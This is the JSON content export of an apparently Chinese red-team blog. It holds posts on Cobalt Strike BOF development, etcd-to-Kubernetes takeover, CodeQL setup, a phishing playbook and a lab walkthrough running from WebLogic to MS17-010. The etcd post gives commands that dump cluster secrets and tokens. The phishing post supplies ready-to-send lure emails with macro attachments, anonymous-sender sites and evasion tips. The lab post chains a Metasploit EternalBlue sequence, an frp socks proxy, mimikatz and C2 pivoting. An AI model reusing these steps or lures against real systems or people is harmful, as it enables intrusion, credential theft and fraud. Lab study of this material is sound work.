-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 106 KB
/
content.json
1
{"meta":{"title":"Hexo","subtitle":"","description":"","author":"John Doe","url":"https://oceansec.github.io","root":"/"},"pages":[{"title":"404 Not Found:该页无法显示","date":"2023-12-05T02:39:56.263Z","updated":"2022-08-13T11:31:03.830Z","comments":false,"path":"/404.html","permalink":"https://oceansec.github.io/404.html","excerpt":"","text":""},{"title":"关于","date":"2023-12-05T02:39:55.969Z","updated":"2022-08-13T11:31:03.830Z","comments":false,"path":"about/index.html","permalink":"https://oceansec.github.io/about/index.html","excerpt":"","text":"个人详细介绍"},{"title":"书单","date":"2023-12-05T02:39:56.102Z","updated":"2022-08-13T11:31:03.830Z","comments":false,"path":"books/index.html","permalink":"https://oceansec.github.io/books/index.html","excerpt":"","text":""},{"title":"分类","date":"2023-12-05T02:39:56.270Z","updated":"2022-08-13T11:31:03.830Z","comments":false,"path":"categories/index.html","permalink":"https://oceansec.github.io/categories/index.html","excerpt":"","text":""},{"title":"友情链接","date":"2023-12-05T02:39:56.126Z","updated":"2022-08-13T11:31:03.830Z","comments":true,"path":"links/index.html","permalink":"https://oceansec.github.io/links/index.html","excerpt":"","text":""},{"title":"Repositories","date":"2023-12-05T02:39:55.838Z","updated":"2022-08-13T11:31:03.830Z","comments":false,"path":"repository/index.html","permalink":"https://oceansec.github.io/repository/index.html","excerpt":"","text":""},{"title":"标签","date":"2023-12-05T02:39:56.112Z","updated":"2022-08-13T11:31:03.830Z","comments":false,"path":"tags/index.html","permalink":"https://oceansec.github.io/tags/index.html","excerpt":"","text":""}],"posts":[{"title":"CS BOF文件编写/改写","slug":"BOF文件编写-改写","date":"2024-01-02T07:55:21.000Z","updated":"2024-01-02T07:59:17.324Z","comments":true,"path":"2024/01/02/BOF文件编写-改写/","link":"","permalink":"https://oceansec.github.io/2024/01/02/BOF%E6%96%87%E4%BB%B6%E7%BC%96%E5%86%99-%E6%94%B9%E5%86%99/","excerpt":"","text":"Beacon Object File(BOF) cs 4.1后添加的新功能, Beacon在接收执行obj前,Cobalt Strike会先对这个obj文件进行一些处理,比如解析obj文件中一些需要的段.text,.data,在处理一些表比如IMAGE_RELOCATION,IMAGE_SYMBOL等等,然后在经过一系列的处理后,会把需要的部分按照一定格式打包起来随后在发送给Beacon,这时Beacon接收到的是Cobalt Strike已经解析处理过的obj文件数据,并非是原本的obj文件,所以Beacon主要做的是必须是在进程内才能确定并完成的事情比如处理重定位,填充函数指针等等,最后去执行go入口点 obj 目标文件就是源代码编译之后但是未进行链接的那些中间文件(Windows 下的 .obj 和 Linux 下的 .o,本文主要指windows 下的 obj ) 使用BOF框架开发很多大佬在 GitHub 发了一些模板,可以去参照 bof的visual studio模板:https://github.com/securifybv/Visual-Studio-BOF-template bof所需的头文件:https://github.com/trustedsec/CS-Situational-Awareness-BOF 整理好的,通过DLL名称将WindowsApi函数进行了归类:https://github.com/evilashz/Visual-Studio-BOF-template 将下载的模板文件解压至visualstudio的模板目录(%UserProfile%\\Documents\\Visual Studio 2022\\Templates\\ProjectTemplates),随后重启VisualStuido 在创建项目时选择类型为Beacon Object File的项目 在头文件列表可以看到beacon.h和bofdefs.h build->batch build 打开项目的 Batch 生成,勾选上 BOF 配置 配置管理器的编译环境也需设置为BOF 一个简单的 bof 项目,用于实现向控制台输出字符串 BOF 入口:代码定义了 BOF 的入口函数 go,当你在 Cobalt Strike 中使用 inline-execute 命令加载并执行你的 BOF时,这个函数将被调用。你可以在这个函数中添加你的 BOF 代码 非 BOF 入口:这部分代码定义了非 BOF 的入口函数 main。当你在非 Cobalt Strike 环境中运行你的代码时,这个函数将被调用。你可以在这个函数中添加你的非 BOF 代码 12345678910111213141516171819#include "bofdefs.h"extern "C" {#ifdef BOFvoid go(char* buff, int len) { BeaconPrintf(CALLBACK_OUTPUT, "Hello, World!");#endif}}#ifndef BOFvoid main(int argc, char* argv[]) { go(NULL, 0);}#endif 项目生成后会生成一个.obj文件,也就是编译未链接的目标文件,在CobaltStrike中你可以使用inline-execute命令来加载并执行你的.obj文件,此命令将你的 .obj 文件加载到 Beacon 的内存中,然后调用你的 go 函数,命令格式如下所示 1beacon> inline-execute your_bof.obj 修改为BOF格式在原有利用代码基础上修改为 BOF 代码步骤 引入 beacon.h 头文件,beacon.h 定义了与 Cobalt Strike Beacon 交互所需要的各种数据类型和函数 把所有字符串和函数改成 ascii 的 把所有函数改成 beacon.h 定义的编写约定 入口函数由 main 修改为 go 生成 bof 文件 将 get-computer-installed-software 修改为 bof 加载,代码通过查询注册表获取当前机器安装的程序,这种方式仅对完整安装的软件有效,如果是绿色版的软件则只能通过手工或自动化搜索的方式查找,如果是x64位系统则需要对32位程序也进行遍历(x64系统存在注册表重定位) 123456789101112131415161718192021222324252627282930313233343536373839404142434445#include <stdio.h>#include <Windows.h>#include <tchar.h>BOOL EnumInstalledSoft(TCHAR* subKey, TCHAR* subKeyName) { HKEY hKey = NULL; HKEY hSubKey = NULL; DWORD dwIndexs = 0; TCHAR keyName[MAX_PATH] = { 0 }; DWORD dwLength = MAX_PATH; // 修改为合适的长度 TCHAR subKeyValue[MAX_PATH] = { 0 }; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_READ, &hKey) == ERROR_SUCCESS) { while (RegEnumKeyEx(hKey, dwIndexs, keyName, &dwLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { RegOpenKey(hKey, keyName, &hSubKey); if (RegQueryValueEx(hSubKey, subKeyName, NULL, NULL, (LPBYTE)subKeyValue, &dwLength) == ERROR_SUCCESS) { _tprintf(_T("%s : %s \\n"), keyName, subKeyValue); } RegCloseKey(hSubKey); hSubKey = NULL; ++dwIndexs; dwLength = MAX_PATH; // 重置为合适的长度 } RegCloseKey(hKey); return TRUE; } else { return FALSE; }}int main(){ EnumInstalledSoft((TCHAR*)_T("SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall"), (TCHAR*)_T("DisplayName")); EnumInstalledSoft((TCHAR*)_T("Software\\\\Classes\\\\Installer\\\\Products"), (TCHAR*)_T("ProductName")); system("pause"); return 0;} 接下来导入 beacon.h 和替换 BOF 约定的写法,函数原型使用 bof_helper 自动化帮我们生成好bof约定的函数原型和写法,如把 GetProcAddress 换成 KERNEL32$GetProcAddress 的写法,这里直接使用工具,同时也需要把输出函数换成 beacon 导出的函数 BOF 格式代码 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071#include <stdio.h>#include <windows.h>// 1.添加 beacon.h 头#include "beacon.h"// 2.添加函数引入约定,可以去找找其他项目中有没有使用相同的函数DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY, LPCWSTR, DWORD, REGSAM, PHKEY);DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY, LPCWSTR, PHKEY);DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY);DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA( HKEY, DWORD, LPWSTR, LPDWORD, LPDWORD, LPWSTR, LPDWORD, PFILETIME);DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA( HKEY, LPCWSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);BOOL EnumInstalledSoft(CHAR* subKey, CHAR* subKeyName) { HKEY hKey = NULL; HKEY hSubKey = NULL; DWORD dwIndexs = 0; CHAR keyName[MAX_PATH] = { 0 }; DWORD dwLength = 256; CHAR subKeyValue[MAX_PATH] = { 0 }; if (ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, subKey, 0, KEY_READ, &hKey) == ERROR_SUCCESS) { while (ADVAPI32$RegEnumKeyExA(hKey, dwIndexs, keyName, &dwLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { ADVAPI32$RegOpenKeyA(hKey, keyName, &hSubKey); ADVAPI32$RegQueryValueExA(hSubKey, subKeyName, NULL, NULL, (LPBYTE)subKeyValue, &dwLength); BeaconPrintf(CALLBACK_OUTPUT, "%s : %s \\n", keyName, subKeyValue); ADVAPI32$RegCloseKey(hSubKey); hSubKey = 0; ++dwIndexs; dwLength = 256; } } else { return FALSE; } if (hKey != NULL) { ADVAPI32$RegCloseKey(hKey); return TRUE; }}int go(){ EnumInstalledSoft((CHAR*)"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall", (CHAR*)"DisplayName"); EnumInstalledSoft((CHAR*)"Software\\\\Classes\\\\Installer\\\\Products", (CHAR*)"ProductName"); return 0;} 其余的 bof 格式差异 参数传入 目前代码没有传入参数,如果有参数传入,需要先声明参数 1234567void go(char* args,int length){ datap parser; char* str_arg; int num_arg; str_arg = BeaconDataExtract(&parser,NULL);} 输出 使用 BeaconPrintf 替换 printf 1BeaconPrintf(CALLBACK_ERROR,"ERROR"); 编译使用 gcc 进行编译,需要提前安装 1gcc -c 源文件.c -o 输出文件.o ps:注意需要安装 64 位的程序,才能编译 64 位的 obj 文件,MinGW-w64安装教程 inline-execute 在 cs 中直接使用 bof 文件 bof 缺点 似乎无法使用初始化为0的全局变量 不太适合跑驻留型的任务,跑大量循环会崩溃 一旦引发崩溃整个beacon就会崩掉 不易调试 似乎输出不能使用unicode 参考文章 Beacon Object File(BOF实现原理) 内网渗透神器CobaltStrike之BOF编写(十一) Cobalt Strike BOF原理分析","categories":[],"tags":[]},{"title":"etcd未授权到控制k8s集群","slug":"etcd未授权到控制k8s集群","date":"2023-12-27T01:03:48.375Z","updated":"2023-12-27T01:17:33.642Z","comments":true,"path":"2023/12/27/etcd未授权到控制k8s集群/","link":"","permalink":"https://oceansec.github.io/2023/12/27/etcd%E6%9C%AA%E6%8E%88%E6%9D%83%E5%88%B0%E6%8E%A7%E5%88%B6k8s%E9%9B%86%E7%BE%A4/","excerpt":"","text":"在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd,就意味着能控制整个 K8s 集群。 etcd 未授权访问 如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。 访问目标的 https://IP:2379/version 或 https://IP:2379/v2/keys,看看是否存在未授权访问。如果显示如下,则证明存在未授权访问。 1.查找token需要使用到 etcd 命令行连接工具:etcdctl 由于 Service Account 关联了一套凭证,存储在 Secret 中。因此我们可以过滤 Secret,查找具有高权限的 Secret,然后获得其 token 接管 K8s 集群 12#查找所有的secretETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret 从返回的数据中挑选出一个具有高权限的 role 并读取其 token,以 /registry/secrets/kube-system/dashboard-admin-token-c7spp 为例,其中 kube-system 代表 namespace、dashboard-admin 是 clusterrole 12#查找指定secret保存的证书和tokenETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp 复制 token,最后的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分 如果机器上安装了 KubeOperator 存在弱口令,登录之后可以在集群中获取管控 token 如果不知道 server api 可以通过 webkubectl 获取 1kubectl cluster-info 2.验证token有效性1curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k 3.使用 kebuctl 去执行命令这里直接指定 token 去执行命令,或者可以通过制作配置文件指定配置文件来执行但是比较复杂 1kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods kebuctl 常用命令 123456789101112# 查看所有的资源信息kubectl get allkubectl get --all-namespaces# 获取pods列表kubectl get pods -o wide --all-namespaces-n 指定命令空间-o wide 展示详细信息# 执行命令kubectl exec -it podsname -n namespace -- command-- bash 进入 shell# 下载文件kubectl cp -n 命名空间 pod名字:/data/1.hprof(在pod中要下载文件的路径) (本地保存文件的路径) 学习文章 K8s集群安全攻防(上) K8s集群安全攻防(下)","categories":[{"name":"渗透测试","slug":"渗透测试","permalink":"https://oceansec.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"}],"tags":[{"name":"云安全","slug":"云安全","permalink":"https://oceansec.github.io/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"}]},{"title":"初见codeql","slug":"初见codeql","date":"2023-12-05T03:10:27.000Z","updated":"2023-12-05T03:13:03.188Z","comments":true,"path":"2023/12/05/初见codeql/","link":"","permalink":"https://oceansec.github.io/2023/12/05/%E5%88%9D%E8%A7%81codeql/","excerpt":"","text":"安装CodeQLCodeQL本身包含两部分解析引擎+SDK 下载已经编译好的 CodeQL 执行程序 https://github.com/github/codeql-cli-binaries/releases 下载之后配置环境变量 安装 SDK CMD 进入 CodeQL 安装目录,使用 Git 安装 SDK 1git clone https://github.com/Semmle/ql 安装 VS Code 插件,在应用商店搜索 CodeQL,安装第一个 安装之后配置 CodeQL 目录 点击插件右侧齿轮按钮,填入 CodeQL 的安装目录,路径中需要到 codeql.exe(下图没有会有bug) 因为审计 Java 代码还需要用到 maven,需要安装 MVN 直接在官网下载:https://maven.apache.org/download.cgi,配置好环境变量即可,在 Windows 系统语言为中文的情况下,可能会出现报错中文乱码 简单使用由于CodeQL的处理对象并不是源码本身,而是中间生成的AST结构数据库,所以我们先需要把我们的项目源码转换成CodeQL能够识别的CodeDatabase 1codeql database create ../codeqldatabase --language="java" --command="mvn clean install --file pom.xml" --source-root=C:\\Users\\admin\\Downloads\\micro_service_seclab-main 导入 Database 在 vscode 中导入解析完成的数据库 数据库加载成功 编写测试 QL 查询,在 vscode 中打开 SDK 所在文件夹,如图所示目录新建 ql 文件,右击 run query 进行查询 基础语法CodeQL 的核心引擎是不开源的,这个核心引擎的作用之一是帮助我们把要审计的代码文件转换成CodeQL能识别的中间层 AST 数据库,然后我们需要编写 QL 查询语句来获取我们想要的数据,由于 CodeQL 开源了所有的规则和规则库部分,所以我们能够做的就是编写符合我们业务逻辑的 QL 规则,然后使用 CodeQL 引擎去跑我们的规则,发现靶场的安全漏洞 什么是source和sink 在代码自动化安全审计的理论当中,有一个最核心的三元组概念,就是(source,sink和sanitizer) source是指漏洞污染链条的输入点。比如获取http请求的参数部分,就是非常明显的Source sink是指漏洞污染链条的执行点,比如SQL注入漏洞,最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql,或者其它) sanitizer又叫净化函数,是指在整个的漏洞链条当中,如果存在一个方法阻断了整个传递链,那么这个方法就叫sanitizer 只有当 source 和 sink 同时存在,并且从 source 到 sink 的链路是通的,才表示当前漏洞是存在的 具体语法可以学习:CodeQL从入门到放弃 CodeQLpyCodeQLpy 是一款基于 CodeQL 实现的自动化代码审计工具,目前仅支持java语言,后期会增加对其他语言的支持,支持对多种不同类型的java代码进行代码审计,包括jsp文件、SpringMVC的war包、SpringBoot的jar包、maven源代码 安装 CodeQL 之后,把 python 文件放到 CodeQL 目录下,安装依赖库 1pip3 install -r requirements.txt 然后需要进入config目录下修改ini配置,有空格需要加上引号 1234567891011121314151617181920[codeql]qlpath = D:\\_Tools\\My_Safe_Tools\\codeql\\ql\\java\\ql\\testjdk8 = "C:\\Program Files\\Java\\jdk1.8.0_152\\bin\\java.exe"jdk11 = "C:\\Program Files\\Java\\jdk-11\\bin\\java.exe"idea_decode_tool = lib/java-decompiler.jarjd_decode_tool = lib/jd-cli.jarjsp_decode_tool = lib/jsp2class.jarecj_tool = lib/ecj-4.6.1.jartomcat_jar = lib/tomcat_libspring_boot_jar = lib/spring_boot_libdecode_savedir = out/decode/general_dbpath = out/database/maven_savedir = out/mvn/decompile_type = jddebug = onmodel = fastthread_num = 10[log]path = out/log/ 生成数据库初始化 123// -c 选项不加默认扫描java文件,加上即扫描class文件// -t参数表示目标源码的路径,支持的源码类型是文件夹,jar包和war包python3 main.py -t 指向要审计的项目 运行之后,会在最后提示下一步要执行的命令 生成数据库 1234# windowscodeql database create out/database/micro_service_seclab-main --language=java --source-root="C:\\Users\\admin\\Downloads\\micro_service_seclab-main" --command="D:\\_Tools\\My_Safe_Tools\\codeql\\CodeQLpy-master\\out\\decode/run.cmd" --overwrite# linuxcodeql database create out/database/SecExample-main --language=java --command="/bin/bash -c /Users/xxx/CodeQLpy/out/decode/run.sh" --overwrite 运行之后生成数据库,如果有错请忽略,最终只要看到 Successfully created database 就可以 最后查询漏洞 1python main.py -d out/database/micro_service_seclab-main 运行之后程序会使用自带的查询 ql 语句进行漏洞扫描,完成之后会自动生成 csv 文件 开源项目 项目监控工具 以及 Codeql 自动运行 CodeQLpy 参考文章 CodeQL从入门到放弃 CodeQL与XRay联动实现黑白盒双重校验","categories":[],"tags":[]},{"title":"邮件钓鱼小总结","slug":"邮件钓鱼小总结","date":"2023-12-05T02:59:04.866Z","updated":"2022-09-20T09:55:30.090Z","comments":true,"path":"2023/12/05/邮件钓鱼小总结/","link":"","permalink":"https://oceansec.github.io/2023/12/05/%E9%82%AE%E4%BB%B6%E9%92%93%E9%B1%BC%E5%B0%8F%E6%80%BB%E7%BB%93/","excerpt":"","text":"事前准备 邮箱、微信号、脉脉账号、匿名手机号等等需要做到匿名,vps、c2 啥的需要注意是不是被标记 多个邮箱要经常着用,发多了被识别成垃圾邮件导致邮箱容易被封 提前设定模糊的人设,微信脉脉这种需要养号,可以定的高级点让人产生想点的欲望,建议每次 hw 换一下名字 最好是用 163 邮箱,然后改一下名字这样收到的比较正式 信息收集 搜索引擎,微信公众号方面搜比较新的准确的信息,一般就是找招聘、招标,比如邮箱和电话 12345678目标名字"XXXX" 联系方式 投递简历 hr 招聘 应聘 贷款 手机号 邮箱收集网站,用网站找邮箱存在的问题就是邮箱太多太旧没法准确定位到人 http://www.skymem.info/ https://phonebook.cz/ 在收集邮箱之后,我们要对邮箱进行验证,因为有些邮箱目标企业人员已经放弃或不用(离职,职位调动等) https://mailtester.com/testmail.php https://app.snov.io/verify/individual-emails 这款工具可以自动组合邮箱地址再根据组合的结果逐个验证 https://github.com/angusluk/MailTester在线客服 / hr / boss 直聘弄微信号 构造字典,很多企业邮箱都是姓名拼音@公司域名,用一些字典如:中国人姓名拼音、字母缩写top100,1000,10000,结合已有的信息,多一个邮箱就多一份成功率 这里可以配合这个网址 https://www.aies.cn/pinyin.htm 根据收集到的目标信息制定对应人名字典进行组合 可以把搜集到疑似网络管理员、运维人员、安全部门的人员提取出来,这些人单独写邮箱或者不发,因为这些人安全意识相对较高 生成木马,木马要做到最基本的几点 免杀 结合收集信息去写木马文案 比如招聘就投个人简历 木马隐蔽性,如:pdf 自解压释放实现 发送钓鱼 钓鱼平台大批量发送,不知道内容问题还是 hw 期间比较严,上线率不高 邮箱单钓,即使是单钓也不能给一个目标发很多,总有安全意识高,内容要结合邮箱来源 即时通讯软件钓鱼,最好结合打点获得的精准数据,找合适的理由 上线 c2/cs 上线时微信通知 一键持久化 证书名区分钓鱼目标,方便管理 定时查看 ip 是不是被标记或有相关情报 注意点: 钓鱼邮件啥的发送时间需要特别注意,钓鱼不像打点可以24H,需要根据目标单位员工上下班和午休时间相关联,最好是上午发这样时间比较充足 成功率比较高的几种方式: 结合已有的系统如:oa 里边的个人信息加微信钓 最近新出招聘投简历 找客服投问题 遇到的问题有些人安全意识比较高或者公司规定只接收 pdf 或者 word 文件,就需要其他的马 免杀 pdf 捆绑自解压 结合漏洞钓鱼,coremail、wps、office 其他文章 红队测试之邮箱打点 https://xz.aliyun.com/t/10731 Macos钓鱼上线CS踩坑流程 钓鱼模版一些网上收集的钓鱼模版 重置密码 攻击者伪装成管理员,让受害者点击钓鱼邮件中的链接来修改各种各样的密码!如下: 12xxx,您好 我是xx部门的信息,我的oa系统账号密码忘记了,麻烦帮我重置一下我的oa帐号密码,然后将新的账号密码发到这个邮箱,十分感谢! 12大家好: 近期由于我们公司的邮箱密码泄露,为防止不法分子利用,影响到我们的数据安全,各位员工的密码均需要及时更新修改,在收到邮件的第一时间,请登录如下平台,立即修改自己邮箱的账号密码。 账号解冻 攻击者伪装成系统管理员,让受害者点击钓鱼邮件中的链接解冻账号 12您好! 上网行为管理近几日发现您的账号存在异常行为,为了防止您的账号被不法分子盗取,我们暂时将您的账号进行了冻结,如果不是您本人的操作的话,可以点击下面的链接进行解冻。 升级补丁 攻击者伪装成系统管理员,让受害者点击钓鱼邮件中的附件 升级补丁。 12各位同事,大家好! 近日微软发布了本月安全更新补丁,其中包含一个RDP(远程桌面服务)远程代码执行漏洞的补丁更新,对应CVE编号为CVE-2019-0708,现需要所有员工的电脑都打上补丁,漏洞补丁直接下载附件即可 信息收集 利用疫情,让受害者点击钓鱼邮件中的链接反馈相关信息。 1234各位同事,大家好:近日,在xx的来往人员中进行核算检查时,又发现了核酸检测呈阳性的人员。 为了更好的配合政府的疫情防控工作的顺利展开,我们公司主动承担了内部人员的信息收集工作,需要员工填写一些个人基本信息、核酸检测信息、行程信息等信息。 可以扫描二维码填写基本信息 1234各位同事,大家好: 为落实“xx市疫情防控策略”的工作要求,推进疫情防控相关的数据共享,提升排查效率。我司开发人员设计出一个“疫情防控信息公示系统”,将个人基本信息,行程信息,温度信息,是否打疫苗等相关信息整合到一个公示平台之上,员工可以在线查看有关信息,享受”一站式”服务,同时推进疫情防控工作的展开。目前该系统处于推广阶段,开发人员将根据用户体验,不断优化业务流程,继续完善平台共功能,欢迎各位领导、同事提出宝贵意见。平台网址:http:xx.xx.com 节假日礼包 12各位同事好: 春节临近,旧的一年即将过去,崭新的一年即将到来,我们将为各位员工准备春节大礼包,现在需要填写一下家庭住址等基本信息 简历模板 12345攻击手段:根据招聘信息对招聘邮箱进行钓鱼邮件攻击,发送带有宏代码的简历文档,及免杀exe程序邮件模板:您好:看到贵公司官网在招聘产品开发岗,本人7年金融证券相关产品开发经验,具有较为丰富的项目经验,主要擅长Java,C++等语言,附件是本人开发的作品及个人简历,还请贵司查看,期待您的回信,谢谢。 合作模板 1234567攻击手段:根据官网搜集到公司的业务功能、合作的企业信息及联系方式发送钓鱼邮件附件为带有office宏攻击代码的word文档。邮件模板:xxx公司您好:我是xxx公司市场营销部的xxx,我在贵公司官网上了解到贵方有提供xxx业务服务(或经xxx合作商推荐)。满足本公司的项目需求,故有合作意向,以下为本公司的项目合作意向书,请查阅,希望能与贵方合作共赢! 投诉邮件 1234567攻击手段: 根据官网搜集到目标咨询及投诉渠道获取邮箱账号。发送钓鱼邮件附件为带有office宏攻击代码的word文档。邮件模板:xxx银行您好:我是贵方银行的用户,我于x月x日与行方在线客户进行业务咨询,但是编号xxx客服服务态度恶劣且怠慢,非但没能解决我的问题,还给我带来了很不好的用户体验。相关聊天记已记录在文档里,请行内人员尽快给一个处理的结果。 官方通告 其他的一些网站 邮箱收集 官网找的邮箱适合精准钓鱼,资源列表里的邮箱每个邮箱只发几封防止被封 https://hunter.io/ http://www.skymem.info/ https://phonebook.cz/ https://www.email-format.com/i/search/ https://github.com/bit4woo/teemo https://github.com/laramies/theHarvester 在线发送邮件: https://emkei.cz/?reCAPTCHAv2 http://tool.chacuo.net/mailanonymous https://ihuan.me/mail http://deadfake.com/Send.aspx 临时邮箱 http://24mail.chacuo.net/ https://10minutemail.net/ http://www.linshiyouxiang.net/","categories":[{"name":"社工","slug":"社工","permalink":"https://oceansec.github.io/categories/%E7%A4%BE%E5%B7%A5/"}],"tags":[{"name":"钓鱼","slug":"钓鱼","permalink":"https://oceansec.github.io/tags/%E9%92%93%E9%B1%BC/"}]},{"title":"漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控","slug":"漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控","date":"2023-12-05T02:59:04.864Z","updated":"2022-08-26T13:23:56.410Z","comments":true,"path":"2023/12/05/漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控/","link":"","permalink":"https://oceansec.github.io/2023/12/05/%E6%BC%8F%E6%B4%9E%E9%9D%B6%E5%9C%BA%E5%AE%9E%E6%88%98-%E7%BA%A2%E9%98%9F%E9%9D%B6%E5%9C%BA%E4%BB%8E%E5%A4%96%E7%BD%91%20Weblogic%20%E6%89%93%E8%BF%9B%E5%86%85%E7%BD%91%EF%BC%8C%E5%86%8D%E5%88%B0%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E6%8E%A5%E7%AE%A1%E5%9F%9F%E6%8E%A7/","excerpt":"","text":"从外网 Weblogic 打进内网,再到约束委派接管域控 靶场来自渗透攻击红队,官方 wp 及下载地址:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ 本靶场存在的漏洞: 123456789GPP:admin:admin!@#45存在 GPP 漏洞存在 MS14-068存在 CVE-2020-1472Exchange 各种漏洞都可尝试可尝试非约束委派可尝试约束委派存在 CVE-2019-1388存在 CVE-2019-0708 环境搭建虚拟机文件比较大,解压之后有 74.8G,所以要保证有足够的空间,建议使用固态硬盘,解压之后直接使用 VMware 扫描虚拟机并依次获取权限 网站拓扑 更新一下上图的环境 1234网关 IP:192.168.43.252Kali IP:192.168.43.58Windows 11 hacker IP:192.168.43.166Windows 2012 IP:192.168.43.92 发现 Windows 可以 ping 通 Kali,但是 kali 却 ping 不通,很容易想到是 Windows 的防火墙问题,关掉即可 还需要注意一个问题,这里选择的是桥接模式,之前都是 nat,其实用哪一种都行 这个图就很好地说明了之前的区别,就是使用 nat 模式的物理机是可以访问所有虚拟机的但是虚拟机无法访问物理机,使用桥接就可以相互访问,还有说如果是需要认证的校园网大概率用户不了桥接模式(虚拟机没法联网) 靶机一的 weblogic 需要手动开启 1weblogic 安装目录:C:\\Oracle\\Middleware\\Oracle_Home\\user_projects\\domains\\base_domain(手动运行下 startWebLogic.cmd) 1.外网打点目标 IP:192.168.43.92 使用 nmap 进行端口扫描服务发现 1nmap -sV -sT -Pn 192.168.43.92 在一般实战中建议制定端口扫描,因为速度快且扫描精度高 1nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.43.92 发现开放了 7001 端口,即 weblogic 服务 1http://192.168.43.92:7001/console/login/LoginForm.jsp 利用工具下载,过于脚本小子了 执行命令发现是 administrator 权限,并且可以连通外网 2.上线 CS直接执行 Powershell 命令上线 CS 在 VPS 或者虚拟机 kali 上开启 CS server,生成监听器,执行命令 上线 通过命令发现存在第二个网卡,是一个内网网段 3.内网横向信息收集 抓取主机密码 1WEBLOGIC\\Administrator ccef208c6485269c20db2cad21734fe7 靶机为 WinServer 2012 所以不能直接读明文密码 判断是否在域内 1ipconfig /all 判断在工作组中而不是在域中 使用以下两条命令再确认一下 12systeminfonet config workstation 存活探测&漏洞扫描CS 导入 Cobalt-Strike-Aggressor-Scripts 插件组,插件下载地址:https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts 加载之后右击主机列表会出现很多工具 向 Victim 机器上传 nbtscan,之后执行 nbtscan 输入目标 10.10.20.0/24 发现一台机器 IP 为 10.10.20.7 通过文件管理上传 fscan 进行扫描 1shell fscan_win32.exe -h 10.10.20.0/24 确定目标机器为 win7 系统,并且存在永恒之蓝 搭建代理 搭建 Frp 隧道,进行漏洞利用,Kali 上配置 Frps.ini 配置文件 启动 Frps 1./frps -c frps.ini Victim 上传 frpc.exe 和 frpc.ini 12345678[common]server_addr = VPS/kali ipserver_port = 7000[plugin_socks]type = tcpremote_port = 7777plugin = socks5 启动 frpc 1shell frpc.exe -c frpc.ini 启动之后代理就搭建完毕了,这样攻击者就可以通过跳板机 weblogic 靶机向内网发起访问请求 ms17010因为内网 win7 主机存在 ms17010 直接用 msf 首先拿到 meterpreter 会话 123456msf6 > setg Proxies socks5:192.168.43.58:7777msf6 > setg ReverseAllowProxy truemsf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 > set payload windows/x64/meterpreter/bind_tcpmsf6 > set rhost 10.10.20.7msf6 > run proxy 的 IP 就是 kali 的 IP,rhost 就是内网地址 在 msf 攻击中可以清晰的看到攻击流程,使用的是目标 smb 445 端口 第一次以蓝屏终结 MSF永恒之蓝mf17010失败原因 一次没有成功再多次尝试 目标机器蓝屏 MSF payload 为 64 位目标机器也需要 64 位,也 python 有 32 位 的 payload 永恒之蓝流量比较大 修改了下 win7 靶机内存调整到了 2G,第二次尝试成功 拿到 meterpreter 抓密码加载 mimikatz 读密码 123load mimikatzmsvkerberos 也可以加载新版 mimikatz - wiki 可以发现没有明文密码,因为 win7 管理员没有登录,所以没有抓取到明文密码,只需要管理员登录机器再次执行命令就可以抓到明文密码 4.二层内网域渗透PS:因为我的电脑重启地址基本都换了,更新下 IP,需要重新搭 frp 和 msf 连接 server 2012 weblogic:192.168.43.93 kali:192.168.43.99 win7上线cs在 cs 中 win7 中转上线,现在上线 cs 的几种思路 msf 上传 cs 的后门 exe 执行 msf 的 meterpeter spawn 到 cs 会话 cs 通过 ipc$ 上传 cs 后门到 win7 靶机通过计划任务执行 使用方案一 1.CS 设置中转监听器 2.生成后门 把后门上传到 kali,然后在 msf 中使用命令上传到靶机 win7 进入 shell,执行 beacon.exe 成功上线 cs 内网信息收集 ```shell whoami123![image-20220508132840943](https://img-blog.csdnimg.cn/img_convert/12afe22796d469144f3460cf54ef126d.png) shell ipconfig1234567 发现内网 10.10.10.0/24 段 